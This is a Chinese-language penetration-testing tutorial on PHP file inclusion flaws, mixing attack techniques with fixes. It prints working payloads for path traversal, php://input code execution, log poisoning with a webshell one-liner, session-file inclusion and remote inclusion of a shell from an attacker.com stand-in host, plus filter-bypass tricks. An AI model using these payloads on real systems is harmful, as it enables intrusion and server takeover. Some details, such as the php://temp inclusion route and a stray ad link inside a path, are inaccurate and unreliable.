1. 文件包含漏洞渗透测试实战解析
文件包含漏洞一直是Web安全测试中的高危风险点,最近在CISP-PTE认证考试中出现的九种文件包含场景引发了广泛讨论。作为渗透测试工程师,我们需要掌握不同环境下的七种典型利用方法。下面我将结合实战经验,详细拆解这些技术手法的原理和实现细节。
2. 文件包含漏洞核心原理
2.1 漏洞形成机制
文件包含漏洞主要源于程序对用户输入的文件名未做严格过滤,导致攻击者能够包含并执行非预期的文件。根据包含方式可分为:
- 本地文件包含(LFI):包含服务器本地的文件
- 远程文件包含(RFI):通过URL包含远程服务器的文件
关键点:PHP的allow_url_include配置开启时才会存在RFI漏洞,现代PHP版本默认已关闭此选项
2.2 常见危险函数
不同语言中易产生漏洞的函数:
php复制// PHP典型危险函数
include()
include_once()
require()
require_once()
fopen()
file_get_contents()
3. 七种实战渗透方法详解
3.1 基础路径遍历攻击
通过../目录穿越读取敏感文件:
code复制http://example.com/index.php?page=../../../../etc/passwd
绕过技巧:
- 使用双重编码:
....//→%252e%252e%252f - 空字节截断:
evil.jpg%00(PHP<5.3有效) - 超长路径:
./././[...重复500次]./etc/passwd
3.2 PHP伪协议利用
PHP特有的协议处理器:
php复制// 读取PHP文件源码
php://filter/convert.base64-encode/resource=index.php
// 执行PHP代码
php://input + POST提交<?php system('id');?>
// 包含临时文件(需结合文件上传)
php://temp/evil.php
3.3 日志文件注入
通过污染日志文件实现代码执行:
- 访问包含恶意代码的URL:
code复制http://example.com/<?php system($_GET['cmd']);?>
- 包含Apache/Nginx访问日志:
code复制http://example.com/index.php?page=/var/log/apache2/access.log
3.4 环境变量包含
利用/proc/self/environ文件:
code复制http://example.com/index.php?page=/proc/self/environ
利用条件:
- 需要服务器以CGI模式运行
- 通过User-Agent注入恶意代码
3.5 Session文件包含
攻击流程:
- 获取PHPSESSID
- 向Session写入恶意代码
- 包含session文件:
code复制/tmp/sess_[[PHP](https://taotoken.net/?utm_source=general)SESSID]
3.6 上传临时文件包含
结合文件上传的利用链:
- 上传含恶意代码的图片
- 竞争包含临时文件:
code复制php://temp/phpXXXXXX
3.7 远程文件包含(RFI)
经典利用方式:
code复制http://example.com/index.php?page=http://attacker.com/shell.txt
现代绕过技巧:
- 使用SMB共享:
\\attacker\share\shell.php - DNS重绑定攻击
- 利用URL短服务隐藏真实地址
4. 高级绕过与防护措施
4.1 现代WAF绕过技术
| 防护措施 | 绕过方法 |
|---|---|
| 关键词过滤 | 使用UTF-7编码:+ADw?php+ |
| 路径检查 | 使用压缩协议:compress.zlib:// |
| 扩展名限制 | 问号截断:evil.jpg? |
4.2 安全防护方案
php复制// 安全的文件包含实现
$allowed = ['about.php', 'contact.php'];
if(in_array($_GET['page'], $allowed)) {
include(basename($_GET['page']));
} else {
die('Invalid page');
}
5. 实战检测流程
-
信息收集:
- 确定包含参数
- 识别服务器技术栈
-
漏洞探测:
bash复制ffuf -w wordlist.txt -u "http://target/FUZZ" -fs 0 -
利用验证:
- 测试基础LFI
- 尝试PHP伪协议
- 检查日志污染可能性
-
权限提升:
- 通过包含配置文件获取数据库凭证
- 利用/proc/self/cmdline获取敏感信息
6. 典型漏洞修复方案
- 输入白名单验证:
php复制$allowedPages = [
'home' => './pages/home.php',
'about' => './pages/about.php'
];
if(array_key_exists($_GET['page'], $allowedPages)) {
include($allowedPages[$_GET['page']]);
}
- 禁用危险函数:
ini复制; php.ini配置
allow_url_include = Off
allow_url_fopen = Off
- 目录限制:
php复制chroot('/var/www/html');
在实际渗透测试中,文件包含漏洞往往能与其他漏洞形成攻击链。建议在测试时保持耐心,多尝试不同协议和绕过方法,同时注意不要对生产环境造成实际破坏。